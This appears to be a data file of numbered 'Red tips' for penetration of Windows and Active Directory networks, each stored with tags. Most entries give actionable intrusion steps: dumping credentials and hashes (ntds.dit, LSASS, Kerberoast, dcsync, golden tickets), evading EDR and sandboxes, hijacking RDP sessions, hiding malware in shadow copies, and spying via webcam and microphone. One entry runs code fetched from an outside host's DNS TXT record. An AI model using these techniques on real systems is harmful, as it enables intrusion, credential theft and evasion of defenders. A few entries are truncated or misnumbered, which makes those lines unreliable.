%(tips => 'Use AD naming schemes to your advantage, sysadmins are lazy and use organization to help them with all the IT work they do on a daily basis.', tags => @(
'AD', 'schemes', 'sysadmins', 'IT', 'naming'
)
),
%(tips => 'Enterprise Admins will almost always have the rights to move laterally to those foreign domain controllers, 9 times out of 10 they use the same password!', tags => @(
'admins', 'enterprise', 'AD', 'password', 'lateral movement', 'pivot'
)
),
%(tips => 'Invoke-NinjaCopy.ps1 is super powerful and should be used to grab the ntds.dit and SYSTEM files for offline cracking.', tags => @(
'Invoke-NinjaCopy', 'powershell', 'ntds.dit', 'SYSTEM', 'password', 'cracking'
)
),
%(tips => 'Have multiple points of presence on a network for longer engagements. Persistence can go a long way for Security Operations.', tags => @(
'persistence', 'presence', 'foothold', 'network', 'operations', 'security'
)
),
%(tips => 'cmd.exe and powershell.exe blocked by GPO? Find a process that is user owned and started on bootup for process injection to bypass that. Try forfiles as well.', tags => @(
'cmd', 'powershell', 'GPO', 'list', 'injection', 'forfiles', 'bypass'
)
),
%(tips => 'Just because you acquired initial access does not mean you stop doing recon. Network/Host Enumeration is always the most important part.', tags => @(
'initial', 'recon', 'enum', 'network', 'host', 'harvesting'
)
),
%(tips => 'Invoke-ReverseDnsLookup.ps1 of powersploit finds those machines on the network that has DNS records and can provide more SA for an attacker.', tags => @(
'powershell', 'powersploit', 'network', 'machine', 'DNS', 'awareness', 'recon', 'enum'
)
),
%(tips => 'Need a Temporary web server? Use Python! python -m SimpleHTTPServer [port]', tags => @(
'web', 'server', 'python', 'http', 'services'
)
),
%(tips => 'Red Tip #1: Profile your victim and use their user agent to mask your traffic. Alternatively use UA from software such as Outlook.', tags => @(
'redtip', '#1', 'user agent', 'outlook', 'traffic'
)
),
%(tips => 'Red tip #2: If the enemy SOC is using proxy logs for analysis. Guess what? It wont log cookies or POST body content as can be sensitive.', tags => @(
'redtip', '#2', 'SOC', 'proxy', 'analysis', 'logs', 'cookies'
)
),
%(tips => 'Red tip #3: Taking a snapshot of AD can let you browse, explore and formulate future attacks if access is lost momentarily.', tags => @(
'redtip', '#3', 'snapshot', 'AD', 'attacks'
)
),
%(tips => 'Red tip #4: consider using Office Template macros and replacing normal.dot for persistence in VDI environments.', tags => @(
'redtip', '#4', 'Office', 'macros', 'persistence', 'VDI'
)
),
%(tips => 'Red tip #5: Do a DNS lookup for terms such as intranet, sharepoint, wiki, nessus, cyberark and many others to start intel on your target.', tags => @(
'redtip', '#5', 'DNS', 'recon', 'enum'
)
),
%(tips => 'Red tip #6: Got access but need to find target? Use WMIC to query and dump the DNS Zone for a better view of assets - https://serverfault.com/questions/550385/export-all-hosts-from-dns-manager-using-powershell', tags => @(
'redtip', '#6', 'wmic', 'DNS', 'assets'
)
),
%(tips => 'Red tip #7: Whether PSEXEC, WMI, PS remoting or even the recent COM execution technique for lateral movement. Dont forget beloved RDP.', tags => @(
'redtip', '#7', 'PSEXEC', 'WMI', 'powershell', 'COM', 'RDP'
)
),
%(tips => 'Red tip #8: Make sure theres trackers in your: emails, delivery server and payload execution. Any more? Comment to share!', tags => @(
'redtip', '#8', 'emails', 'delivery', 'payload'
)
),
%(tips => 'Red tip #9: When PowerUp yields no results, dont forget SysInternals AutoRuns. Often you can find unexpected surprises :)', tags => @(
'redtip', '#9', 'PowerUp', 'sysinternals', 'AutoRuns'
)
),
%(tips => 'Red tip #10: When using BloodHound, dont forget DA equivalents such as administrators and server operators etc too. These arent mapped.', tags => @(
'redtip', '#10', 'BloodHound', 'DA', 'groups', 'mapping'
)
),
%(tips => 'Red tip #11: When navigating mature environments, a good old network diagram along with AD OUs can help to shed some light into next steps.', tags => @(
'redtip', '#11', 'topology', 'network', 'AD', 'OU', 'lateral movement'
)
),
%(tips => 'Red tip #12: Kerberoast them hashes, could be a fast route to domain administrator. PowerView: Invoke-Kerberoast -Format Hashcat', tags => @(
'redtip', '#12', 'Kerberoast', 'hashes', 'services', 'powershell', 'DA'
)
),
%(tips => 'Red tip #13: Shared local administrator account hashes are great for lateral movement. Find machines based on the same build and attack away', tags => @(
'redtip', '#13', 'administrator', 'account', 'hashes', 'lateral movement', 'machines'
)
),
%(tips => 'Red tip #14: Got extra credentials? Use different sets for separate egress channels so that if one account is disabled all the rest are ok.', tags => @(
'redtip', '#14', 'credentials', 'egress', 'channels', 'account'
)
),
%(tips => 'Red tip #15: You dont need payloads when you can phish credentials and login to Citrix, VPN, email with no 2FA. Check the perimeter.', tags => @(
'redtip', '#15', 'phish', 'payload', 'Citrix', 'VPN', 'email'
)
),
%(tips => 'Red tip #16: @dafthack MailSniper, @domchell LyncSniper can be a useful but noisy way to obtain AD credentials into an organization.', tags => @(
'redtip', '#16', 'AD', 'credentials', 'organization'
)
),
%(tips => 'Red tip #17: @_staaldraad Ruler tool can be used to obtain code execution on a system running Outlook if you can access exchange externally', tags => @(
'redtip', '#17', 'Ruler', 'Outlook', 'code', 'execution', 'exchange'
)
),
%(tips => 'Red tip #18: When tools like MailSniper dont work in custom environments, you still have good old @Burp_Suite to replicate the attacks', tags => @(
'redtip', '#18', 'burpsuite', 'burp', 'MailSniper'
)
),
%(tips => 'Red tip #19: Need a DC? echo %LOGONSERVER%. Need a list? nltest /dclist, nslookup -q=srv _kerberos._tcp (domain suffix can autocomplete)', tags => @(
'redtip', '#19', 'DC', 'LOGONSERVER', 'nltest', 'nslookup', 'kerberos'
)
),
%(tips => 'Red tip #20: So apparently not many people use SSH for redirector setup. So try out SSH c2 -R *:80:localhost:80. SSH config GatewayPorts yes', tags => @(
'redtip', '#20', 'SSH', 'redirector', 'c2', 'config'
)
),
%(tips => 'Red tip #21: Found open user home shares that are accessible? See if you can drop into Startup Programs for lateral movement and privesc.', tags => @(
'redtip', '#21', 'shares', 'user', 'startup', 'privesc', 'lateral movement'
)
),
%(tips => 'Red tip #22: Use VNC, microphone and webcam to perform surveillance. Netstat, tasklist can provide context into what the users doing.', tags => @(
'redtip', '#22', 'VNC', 'microphone', 'webcam', 'netstat', 'tasklist'
)
),
%(tips => 'Red tip #23: Stash payloads in C:$Recycle.Bin', tags => @(
'redtip', '#23', 'payload', 'C:', 'Recycle Bin'
)
),
%(tips => 'Red tip #24: Compromise the SOC and Security teams to watch their progress and track their email alerts for sophisticated threats', tags => @(
'redtip', '#24', 'SOC', 'Security', 'email', 'phish', 'alerts'
)
),
%(tips => 'Red tip #25: Probably dont do this on a red team, but spray for Welcome1, Password1 if youre struggling to move. But move off fast.', tags => @(
'redtip', '#25', 'password', 'spray', 'cracking'
)
),
%(tips => 'Red tip #26: Split your campaigns up so that they are independent. Fire tons at once for decoys and to burn out the defense.', tags => @(
'redtip', '#26', 'campaign', 'fire', 'defense'
)
),
%(tips => 'Red tip #27: Need more credentials? Search for passwords on Sharepoint, and intranet.', tags => @(
'redtip', '#27', 'credentials', 'password', 'Sharepoint', 'intranet'
)
),
%(tips => 'Red tip #28: Look for asset registers to understand who owns what machine, make and model. Theres usually an asset label to host name too!', tags => @(
'redtip', '#28', 'asset', 'machine', 'host'
)
),
%(tips => 'Red tip #29: Lateral movement: printers, open webroots, good old Tomcat, what are your quick wins?', tags => @(
'redtip', '#29', 'lateral movement', 'printers', 'webroots', 'tomcat'
)
),
%(tips => 'Red tip #30: Get AD credentials? Turn up on site and you might be able to use them to login to Corporate Wifi :)', tags => @(
'redtip', '#30', 'AD', 'credentials', 'site', 'login', 'wifi'
)
),
%(tips => 'Red tip #31: Hunting e-mails and network shares for penetration testing reports can often yield good results.', tags => @(
'redtip', '#31', 'emails', 'network', 'shares', 'reports'
)
),
%(tips => 'Red tip #32: List mounts: net use, look for shared folders and drop a UNC icon LNK into it. Run Inveigh or Wireshark on host to grab hashes.', tags => @(
'redtip', '#32', 'mount', 'list', 'net', 'shared', 'folders', 'LNK', 'Inveigh', 'Wireshark'
)
),
%(tips => 'Red tip #33: Orgs are transitioning to cloud services such as AWS, Beanstalk, O365, Google Apps. 2FA is vital - password reset to compromise.', tags => @(
'redtip', '#33', 'cloud', 'services', 'AWS', 'O365', 'password', 'Apps'
)
),
%(tips => 'Red tip #34: OpSec. Set notifications to your phone for logins or intrusion attempts in any part of your attack infrastructure.', tags => @(
'redtip', '#34', 'Opsec', 'notification', 'phone', 'login', 'infrastructure'
)
),
%(tips => 'Red tip #35: FireEye sandbox flagging your payloads? Try anti sandbox techniques! If not, just use HTA to get into memory as it doesnt scan', tags => @(
'redtip', '#35', 'FireEye', 'sandbox', 'payload', 'HTA', 'memory'
)
),
%(tips => 'Red tip #36: Dont forget the good old GPP passwords in SYSVOL. There may be cached GPP on the machine. Applying the patch isnt enough', tags => @(
'redtip', '#37', 'GPP', 'password', 'SYSVOL', 'machine', 'patch'
)
),
%(tips => 'Red tip #37: Use GenHTA to generate HTA files that use anti-sandboxing techniques. https://github.com/vysec/GenHTA', tags => @(
'redtip', '#37', 'GenHTA', 'HTA', 'files', 'sandbox'
)
),
%(tips => 'Red tip #38: Having trouble getting @armitagehacker CobaltStrikes evil.hta through defenses? https://github.com/vysec/MorphHTA', tags => @(
'redtip', '#38', 'CobaltStrike', 'HTA', 'morphHTA'
)
),
%(tips => 'Red tip #39: If emails get bounced, read the email! Sometimes due to malware scanners, spam etc. Or you may even get an out of office reply.', tags => @(
'redtip', '#39', 'email', 'malware', 'scanner', 'spam'
)
),
%(tips => 'Red tip #40: @0x09AL suggests looking for default credentials on printers and embedded devices. Move off initial foothold using this.', tags => @(
'redtip', '#40', 'credentials', 'printers', 'devices', 'foothold'
)
),
%(tips => 'Red tip #41: @Oddvarmoe suggests using Alternate Data Streams if you need to put a file on disk. For example https://github.com/samratashok/nishang/blob/master/Backdoors/Invoke-ADSBackdoor.ps1', tags => @(
'redtip', '#41', 'ADS', 'Data', 'Streams', 'file', 'disk'
)
),
%(tips => 'Red tip #42: Got OS level access to a middle tier? Task list, netstat and wmic process list full | findstr /I commandline for more ideas!', tags => @(
'redtip', '#42', 'OS', 'access', 'tier', 'wmic', 'process', 'list', 'findstr'
)
),
%(tips => 'Red tip #43: So you know where the server application files are. Download the binaries and check out configuration files for conn. strings', tags => @(
'redtip', '#43', 'server', 'files', 'application', 'binaries', 'config'
)
),
%(tips => 'Red tip #44: Run PEiD and other packer / technology checkers to find out the language and packer used on downloaded server binaries.', tags => @(
'redtip', 'PEiD', 'packer', 'language', 'binaries'
)
),
%(tips => 'Red tip #45: Run strings on the application binary for potentially other cleartext sensitive strings! (Unicode mode too)', tags => @(
'redtip', '#45', 'strings', 'application', 'binary', 'cleartext'
)
),
%(tips => 'Red tip #46: On a VDI? Check out C:\ and other disks for potentially sensitive files other users may have saved there.', tags => @(
'redtip', '#46', 'VDI', 'C:', 'disks', 'sensitive', 'files'
)
),
%(tips => 'Red tip #47: Incase EDR are looking for "net users /domain" try using "net use /dom"', tags => @(
'redtip', '#47', 'EDR', 'net', 'users', 'domain', 'dom'
)
),
%(tips => 'Red tip #48: Is EDR potentially looking for "powershell -encodedcommand"? Try "powershell -ec"', tags => @(
'redtip', '#48', 'EDR', 'powershell', 'encoded', 'command'
)
),
%(tips => 'Red tip #49: Attacking a heavy Macintosh or Linux estate? Send a Office Maldoc with OS checking logic to obtain footholds on either system', tags => @(
'redtip', '#49', 'Mac', 'linux', 'Office', 'OS', 'foothold'
)
),
%(tips => 'Red tip #50: Carbon Black checks for IEX and web req commands. Use powershell "powershell . (nslookup -q=txt calc.vincentyiu.co.uk )[-1]"', tags => @(
'redtip', '#50', 'Carbon Black', 'IEX', 'web', 'powershell'
)
),
%(tips => 'Red tip #51: Cant open C drive? Try \127.0.0.1\c$', tags => @(
'redtip', '#51', 'C:', '127.0.0.1', 'c$'
)
),
%(tips => 'Red tip #52: SC doesnt take credentials. Cant use runas? Try net use \targetip\ipc$ password /u:domain\username then sc to psexec', tags => @(
'redtip', '#52', 'SC', 'credentials', 'runas', 'target', 'ip', 'password', 'domain', 'psexec'
)
),
%(tips => 'Red tip #53: When stick phishing for 2FA, consider using @mrgretzky Evilginx project which logs cookies. https://breakdev.org/evilginx-1-1-release/', tags => @(
'redtip', '#53', 'phishing', 'evilginx', 'logs', 'cookies'
)
),
%(tips => 'Red tip #54: Hide from blue. Volume shadow copy then execute \?\GLOBALROOT\Device\HarddiskVolumeShadowColy1\malware.exe/dll then delete VSC', tags => @(
'redtip', '#54', 'hidden', 'VSS', 'shadow', 'copy', 'execute', 'VSC'
)
),
%(tips => 'Red tip #55: SMB hash leaking using a UNC path for image in page for drive by leak can give you credentials for less mature environments.', tags => @(
'redtip', '#55', 'SMB', 'hash', 'UNC', 'credentials'
)
),
%(tips => 'Red tip #56: Target victims using email authentication such as Microsoft Account on Windows 10? Hash leak exposes full email address!', tags => @(
'redtip', '#56', 'target', 'email', 'authentication', 'microsoft', 'windows'
)
),
%(tips => 'Red tip #57: Working in teams yields better results; and best of all Makes Offensive operations more fun and keeps the adrenaline pumping', tags => @(
'redtip', '#57', 'team', 'operations', 'red'
)
),
%(tips => 'Red tip #58: Discuss business targets and objectives with your clients. This process should set non technical goals such as "ATM spit money"', tags => @(
'redtip', '#58', 'business', 'targets', 'objectives', 'client', 'goals'
)
),
%(tips => 'Red tip #59: Checking whether a server or host is good for egress? Likely to go down? "systeminfo | findstr /i boot"', tags => @(
'redtip', '#59', 'server', 'host', 'egree', 'systeminfo'
)
),
%(tips => 'Red tip #60: Type "query user" to see who else is connected to the machine.', tags => @(
'redtip', '#60', 'query', 'user', 'machine'
)
),
%(tips => 'Red tip #61: Get a quick patch list using wmic qfe list brief. Cross ref KB to bulletins.', tags => @(
'redtip', '#61', 'patch', 'wmic', 'qfe', 'KB'
)
),
%(tips => 'Red tip #62: Found a process of interest? Dont forget to obtain a MiniDump! Use Out-MiniDump https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1', tags => @(
'redtip', '#62', 'process', 'Minidump', 'powershell'
)
),
%(tips => 'Red tip #63: Finally in CyberArk, click policies and see safes but no account? Go to accounts search and search for empty and safes show up', tags => @(
'redtip', '#63', 'CyberArk', 'policies', 'account'
)
),
%(tips => 'Red tip #64: Is WebDav allowed through the gateway? Using http mini redirector? Dont exfiltrate or send in files. WebDav is subject to DLP', tags => @(
'redtip', '#64', 'webdav', 'gateway', 'http', 'redirector', 'DLP'
)
),
%(tips => 'Red tip #65: WebDav mini http redirector: net use * http://totallylegit.com/share . Then start z:', tags => @(
'redtip', '#65', 'webdav', 'mini', 'http', 'redirector'
)
),
%(tips => 'Red tip #66: Found potential MQ creds? ActiveMQ? Try out https://github.com/fmtn/a , works to query MQ endpoints that dont use self signed crt', tags => @(
'redtip', '#66', 'MQ', 'credentials', 'endpoints', 'crt'
)
),
%(tips => 'Red tip #67: Use vssadmin to list and create volume shadow copies', tags => @(
'redtip', '#67', 'vssadmin', 'list', 'volume', 'shadow'
)
),
%(tips => 'Red tip #68: Pivoting into a secure zone that has no DNS or web gateway and need exfil? Netsh port forward pivot UDP 53 to DNS 53 then boom', tags => @(
'redtip', '#68', 'pivot', 'DNS', 'web', 'gateway', 'UDP', 'exfil'
)
),
%(tips => 'Red tip #69: Have blue hidden the ways including winkey+R? Try shift and right click desktop and open command prompt', tags => @(
'redtip', '#69', 'hidden', 'blue', 'winkey', 'command', 'prompt'
)
),
%(tips => 'Red tip #70: Tracked down that putty session? Popped the box? Query user and check the victims logon time and idle times', tags => @(
'redtip', '#70', 'putty', 'session', 'Query', 'user', 'logon', 'time'
)
),
%(tips => 'Red tip #71: Hijack his Session using sc create sesshijack binpath= "cmd.exe /k tscon /dest:" then use putty session', tags => @(
'redtip', '#71', 'session', 'sc', 'hijack', 'putty', 'cmd.exe'
)
),
%(tips => 'Red tip #72: Most people understand email sec wrong. SPF does not mean not spoofable. SPF does nothing without DMARC.', tags => @(
'redtip', '#72', 'email', 'SPF', 'DMARC'
)
),
%(tips => 'Red tip #73: Weak DMARC on victim org domain? Spoof their own emails back into themselves! You even inherit their AD name and photo', tags => @(
'redtip', '#73', 'DMARC', 'domain', 'spoof', 'emails', 'AD'
)
),
%(tips => 'Red tip #74: Got access to Microsoft OWA mailbox or O365? You can extract global catalog from contacts use @Burp_Suite and parse JSON object', tags => @(
'redtip', '#74', 'access', 'microsoft', 'OWA', 'mailbox', 'O365', 'burpsuite'
)
),
%(tips => 'Red tip #75: Write PHP delivery scripts that can mutate your payloads and add unique trackers per download. This tracks file being executed', tags => @(
'redtip', '#75', 'PHP', 'delivery', 'scripts', 'payload', 'download', 'files'
)
),
%(tips => 'Red tip #76: Simulating a criminal threat story with smash and grab agenda? Phish users and hot swap payload mid campaign to test formats', tags => @(
'redtip', '#76', 'criminal', 'agenda', 'phish', 'users', 'campaign'
)
),
%(tips => 'Red tip #77: RCE on a web application for less mature client? nslookup -q=srv _ldap._tcp if its domain joined Invoke-Kerberoast', tags => @(
'redtip', '#77', 'RCE', 'web', 'application', 'client', 'nslookup', 'domain', 'kerberoast'
)
),
%(tips => 'Red tip #78: @benichmt1 suggests looking for vmdk files across the network. You can use this to potentially access segregated networks', tags => @(
'redtip', '#78', 'vmdk', 'files', 'network', 'access'
)
),
%(tips => 'Red tip #79: Obfuscation is never bad, especially when its a button click. @danielhbohannon - https://github.com/danielbohannon', tags => @(
'redtip', '#79', 'Obfuscation', 'danielbohannon'
)
),
%(tips => 'Red tip #80: Need to sweep for uptimes? Use wmic /node:"" OS get LastBootUpTime in a for loop', tags => @(
'redtip', '#80', 'uptime', 'wmic', 'OS'
)
),
%(tips => 'Red tip #81: Looking for systems running KeePass? Run a for loop on wmic /node:"host" process list brief :) then look at RT #82', tags => @(
'redtip', '#81', 'sytems', 'KeePass', 'wmic', 'host', 'process', 'list'
)
),
%(tips => 'Red tip #82: Found KeePass running in memory? Use @harmj0y KeeThief to extract password and dl the KDBX - https://github.com/HarmJ0y/KeeThief', tags => @(
'redtip', '#82', 'KeePass', 'memory', 'harmj0y', 'KeeThief', 'password'
)
),
%(tips => 'Red tip #83: Struggling to find a working DB client? Live off the land and use your victims in an RDP session.', tags => @(
'redtip', '#83', 'DB', 'client', 'RDP', 'session'
)
),
%(tips => 'Red tip #84: Im sure everyone hates Oracle DB but no sweat, you can proxycap sqldeveloper.exe', tags => @(
'redtip', '#84', 'Oracle', 'DB', 'proxycap', 'sql'
)
),
%(tips => 'Red tip #85: Check the users calendars before using persistence on their machine. They may be out of office and screw your master plans.', tags => @(
'redtip', '#85', 'users', 'calendars', 'persistence', 'machine', 'office'
)
),
%(tips => 'Red tip #86: Red team and attack simulation is not penetration testing. You shouldnt be really testing anything, but simply infiltrating.', tags => @(
'redtip', '#86', 'red team', 'attack', 'testing', 'penetration'
)
),
%(tips => 'Red tip #87: @Oddvarmoe uses .UDL files to quickly launch a MSSQL connection test to validate credentials! https://blogs.msdn.microsoft.com/farukcelik/2007/12/31/basics-first-udl-test/', tags => @(
'redtip', '#87', 'UDL', 'files', 'MSSQL', 'credentials'
)
),
%(tips => 'Red tip #88: Dont forget Physical security! Whip up a PI with GSM and you can hack your way in by dropping the PI on network.', tags => @(
'redtip', '#88', 'Physical', 'security', 'PI', 'GSM', 'network'
)
),
%(tips => 'Red tip #89: regsvr32 SCT files are being detected as Squigglydoo. Looks for "script" case sensitive and "<registration" case insensitive.', tags => @(
'redtip', '#89', 'regsvr32', 'SCT', 'files', 'squigglydoo', 'script'
)
),
%(tips => 'Red tip #90: Cisco NGIPS is shit, when analysing traffic for havex it drops only but not', tags => @(
'redtip', '#90', 'Cisco', 'NGIPS', 'traffic', 'analysis'
)
),
%(tips => 'Red tip #91: Decoys can be as simple as burning egress by port scanning 1-1024 through IDS, or spamming dodgy emails at blocks of employees', tags => @(
'redtip', '#91', 'egress', 'port', 'scanning', 'IDS', 'emails'
)
),
%(tips => 'Red tip #92: If WDigest is disabled, reenable it for cleartext credentials before new users login with @harmj0y https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Invoke-WdigestDowngrade.ps1', tags => @(
'redtip', '#92', 'wdigest', 'credentials', 'login'
)
),
%(tips => 'Red tip #93: Use Empyre to generate Macintosh and Linux payloads, modify it to contain code for Windows too! https://github.com/EmpireProject/EmPyre', tags => @(
'redtip', '#93', 'Empire', 'MAC', 'linux', 'payload', 'Empyre'
)
),
%(tips => 'Red tip #94: Client uses VDIs? Compromise underlying host and use Citrix Shadow Taskbar to spy on VDI sessions by selecting username', tags => @(
'redtip', '#94', 'VDI', 'Citrix', 'host'
)
),
%(tips => 'Red tip #95: @domchell recommends avoiding non persistent VDIs and persist on laptops. Query DC for live laptops.', tags => @(
'redtip', '#95', 'VDI', 'persistence', 'DC', 'laptop'
)
),
%(tips => 'Red tip #96: @lucasgates recommends using OLE objects containing VBS scripts instead of Macros as less suspicious. VBE will work too', tags => @(
'redtip', '#96', 'OLE', 'VBS', 'scripts', 'Macros', 'VBE'
)
),
%(tips => 'Red tip #97: Use recent critical vulnerabilities such as CVE-2017-0199 HTA handler issue to simulate real threats. https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/', tags => @(
'redtip', '#97', 'vulnerabilities', 'CVE', 'HTA'
)
),
%(tips => 'Red tip #98: @0x09AL suggests WordSteal. You can embed an IMAGE with UNC path to steal hashes from Word. Wont work if proxy. https://github.com/0x09AL/WordSteal', tags => @(
'redtip', '#98', 'WordSteal', 'image', 'UNC', 'word'
)
),
%(tips => 'Red tip #99: If client is using Proxy with WebDav you can phish creds using @ryHanson Phishery https://github.com/ryhanson/phishery', tags => @(
'redtip', '#99', 'client', 'Proxy', 'WebDav', 'phish', 'creds'
)
),
%(tips => 'Red tip #100: Use wgsidav if you need a quick WebDav server :) https://github.com/mar10/wsgidav', tags => @(
'redtip', '#100', 'wgsidav', 'webdav', 'server'
)
),
%(tips => 'Red tip #101: Set up red team infrastructure following @bluscreenofjeff guidelines! https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki', tags => @(
'redtip', '#101', 'red team', 'infrastructure', 'jeff', 'wiki'
)
),
%(tips => 'Red tip #102: Easier DNS redirector! https://pastebin.com/LNj4zjFs for opsec and not hosting C2 on the cloud', tags => @(
'redtip', '#102', 'DNS', 'redirector', 'opsec', 'c2'
)
),
%(tips => 'Red tip #103: Red team tips are useful but what makes the good red teamer is experience. Rack up that breadth of experience', tags => @(
'redtip', '#103', 'experience', 'tips'
)
),
%(tips => 'Red tip #104: SessionGopher does a decent job at retrieving putty and RDP history - https://github.com/fireeye/SessionGopher', tags => @(
'redtip', '#104', 'SessionGopher', 'putty', 'RDP', 'history'
)
),
%(tips => 'Red tip #105: If ping 8.8.8.8 works, try ICMP tunneling. More info at http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html?m=1 from @fragsh3ll though only on immature network', tags => @(
'redtip', '#105', 'ping', 'ICMP', 'tunneling'
)
),
%(tips => 'Red tip #106: Wordlists? https://github.com/berzerk0/Probable-WordlistsI like to use the top probable 297 million list with Deadhobo rules', tags => @(
'redtip', '#106', 'Wordlists', 'rules', 'list'
)
),
%(tips => 'Red tip #107: More of a pentest tip but nslookup http://google.com if it resolves you may have a DNS tunneling problem.', tags => @(
'redtip', '#017', 'pentest', 'nslookup', 'DNS', 'tunneling'
)
),
%(tips => 'Red tip #108: Post exploitation Asset Discovery https://github.com/vysec/Invoke-DNSDiscovery looks for assets by name that might be good if youre low priv user.', tags => @(
'redtip', '#108', 'exploitation', 'asset', 'DNS', 'user'
)
),
%(tips => 'Red tip #109: Use Invoke-ProcessScan to give some running processes context on a system. This uses EQGRP leaked list- https://github.com/vysec/Invoke-ProcessScan', tags => @(
'redtip', '#109', 'process', 'scan', 'EQGRP'
)
),
%(tips => 'Red tip #110: Mature blue? Be careful and minidump lssas.exe then download it and parse locally', tags => @(
'redtip', '#110', 'mature', 'blue', 'minidump', 'lssas'
)
),
%(tips => 'Red tip #111: Found an exploitable S4U condition? Use Mistique to attack! https://github.com/machosec/Mystique/blob/master/Mystique.ps1', tags => @(
'redtip', '#111', 'S4U', 'Mistique'
)
),
%(tips => 'Red tip #112: Need to use VNC as RDP in use? https://github.com/artkond/Invoke-Vnc has been pretty stable for me. Run it then pivot in and connect!', tags => @(
'redtip', '#112', 'VNC', 'RDP', 'pivot'
)
),
%(tips => 'Red tip #113: Found super secret.doc or master password database.xlsx? Use office2john to get hash and crack in Hashcat!', tags => @(
'redtip', '#113', 'password', 'database', 'xlsx', 'hashcat'
)
),
%(tips => 'Red tip #114: PowerUp didnt work and you want to autoruns? Dont bother going on disk, use Invoke-AutoRuns to csv- https://github.com/p0w3rsh3ll/AutoRuns', tags => @(
'redtip', '#114', 'PowerUp', 'autoruns', 'powershell'
)
),
%(tips => 'Red tip #115: Need to zip up a directory quickly for easy exfiltration? Eg. Home shares https://github.com/thoemmi/7Zip4Powershell use Powershell', tags => @(
'redtip', '#115', 'zip', 'exfil', 'powershell'
)
),
%(tips => 'Red tip #116: Use CatMyFish to search for categorised domains that could be used in your engagements - https://github.com/Mr-Un1k0d3r/CatMyFish', tags => @(
'redtip', '#116', 'CatMyFish', 'domains', 'engagements'
)
),
%(tips => 'Red tip #117: Ran Invoke-MapDomainTrusts from PowerView? Use @harmj0y DomainTrustExplorer to generate a graph - https://github.com/sixdub/DomainTrustExplorer', tags => @(
'redtip', '#117', 'PowerView', 'domain', 'trust', 'graph'
)
),
%(tips => 'Red tip #118: FOCA finds some useful information for OSINT and intelligence phases. https://www.elevenpaths.com/labstools/foca/index.html', tags => @(
'redtip', '#118', 'FOCA', 'OSINT', 'intelligence'
)
),
%(tips => 'Red tip #119: GoPhish is a pretty useful tool for spinning up simple phishing campaigns especially for decoys https://getgophish.com', tags => @(
'redtip', '#119', 'GoPhish', 'tool', 'phishing', 'email', 'campaigns'
)
),
%(tips => 'Red tip #120: If you have write access to the orgs shared Office template folders You can privesc by backdooring these trusted documents.', tags => @(
'redtip', '#120', '', '', ''
)
),
%(tips => 'Red tip #121: @zwned uses netsh packet tracing to sniff natively from victim host. Save capture and analyze offline!', tags => @(
'redtip', '#121', 'netsh', 'packet', 'sniff', 'capture'
)
),
%(tips => 'Red tip #122: More decoy tips! Scan the external perimeter with tools like Nessus and OpenVAS. More traffic the better just to burn the blue', tags => @(
'redtip', '#122', 'decoy', 'external', 'perimeter', 'Nessus', 'OpenVAS'
)
),
%(tips => 'Red tip #123: Read Sean Metcalfa blog http://adsecurity.org/ When AD is used in many environments, it vital to at least know techniques', tags => @(
'redtip', '#123', 'AD', 'environments', 'techniques'
)
),
%(tips => 'Red tip #124: Remember you can generate a golden ticket offline with knowledge of krbtgt and rest offline. Golden ticket gets silver from DC', tags => @(
'redtip', '#124', 'golden', 'ticket', 'krbtgt', 'DC', 'silver'
)
),
%(tips => 'Red tip #125: Got krbtgt of a child domain? Forest parent trusts you? Use the SID history attack in golden tickets to escalate to Ent Admin', tags => @(
'redtip', '#125', 'krbtgt', 'domain', 'Forest', 'trust', 'SID', 'admin'
)
),
%(tips => 'Red tip #126: You dont necessarily need Domain Admin, if you have an account that has "Replicating directory changes", dcsync to pull hash', tags => @(
'redtip', '#126', 'domain', 'admin', 'account', 'dcsync', 'hash'
)
),
%(tips => 'Red tip #127: Planning to use secretsdump.py? :) Try using the DC machine account to authenticate and dump instead of a user! Save hash', tags => @(
'redtip', '#127', 'secretsdump', 'DC', 'machine', 'account', 'authenticate', 'dump', 'hash'
)
),
%(tips => 'Red tip #128: Use machine account hashes to generate silver tickets to a host for persistence. Save machine hash for DC incase krbtgt rotate', tags => @(
'redtip', '#128', 'machine', 'account', 'hashes', 'ticket', 'persistence', 'DC', 'krbtgt'
)
),
%(tips => 'Red tip #129: Use PEAS to query shares and emails if using ActiveSync - https://github.com/mwrlabs/peas', tags => @(
'redtip', '#129', 'PEAS', 'shares', 'emails', 'ActiveSync'
)
),
%(tips => 'Red tip #130: (Not red really but useful) Sort IPs: cat IPs.txt | sort -t . -k1,1 -k2,2 -k3,3 -k4,4', tags => @(
'redtip', '#130', 'IP', 'cat', 'sort'
)
),
%(tips => 'Red tip #131: Learn AWK and general bash scripting. Processing and merging of data sets speeds up our job for discovery and time keeping.', tags => @(
'redtip', '#131', 'AWK', 'bash', 'scripting', 'data'
)
),
%(tips => 'Red tip #132: Worth learning to pick locks and the dust can sensor trick if youre going to do some physical. http://www.artofmanliness.com/2014/11/19/how-to-pick-a-lock-pin-tumbler-locks/', tags => @(
'redtip', '#132', 'lock', 'dust', 'physical', 'pick'
)
),
%(tips => 'Red tip #133: Grep has an extract flag -o that can be used to extract from a regex. Good for extracting data from massive blobs.', tags => @(
'redtip', '#133', 'grep', 'flag', 'regex', 'blobs'
)
),
%(tips => 'Red tip #134: Victims use wireless? Use KARMA attack to force them onto your network. Use eternalblue, domain creds or other vulns to get in. https://github.com/sensepost/mana', tags => @(
'redtip', '#134', 'wireless', 'KARMA', 'network', 'eternalblue', 'domain'
)
),
%(tips => 'Red tip #135: Phishing pages are usually custom. However its always good to have a stash for decoys. Generic Gmail, Office365?', tags => @(
'redtip', '#135', 'phishing', 'decoy', 'gmail', 'Office365'
)
),
%(tips => 'Red tip #136: Keep up to date by watching presentations from conferences on YouTube :) Discover useful techniques', tags => @(
'redtip', '#136', 'presentation', 'conferences', 'YouTube'
)
),
%(tips => 'Red tip #137: If youve exhausted all payload types, try sending a Mac user a python one liner and Win PS 1 liner. Ive had people run it.', tags => @(
'redtip', '#137', 'payload', 'Mac', 'python', 'one-liner'
)
),
%(tips => 'Red tip #139: If you need to get a clean EXE for file drop and exec, try out @midnite_runr Backdoor Factory - https://github.com/secretsquirrel/the-backdoor-factory', tags => @(
'redtip', '#139', 'EXE', 'file', 'backdoor', 'factory'
)
),
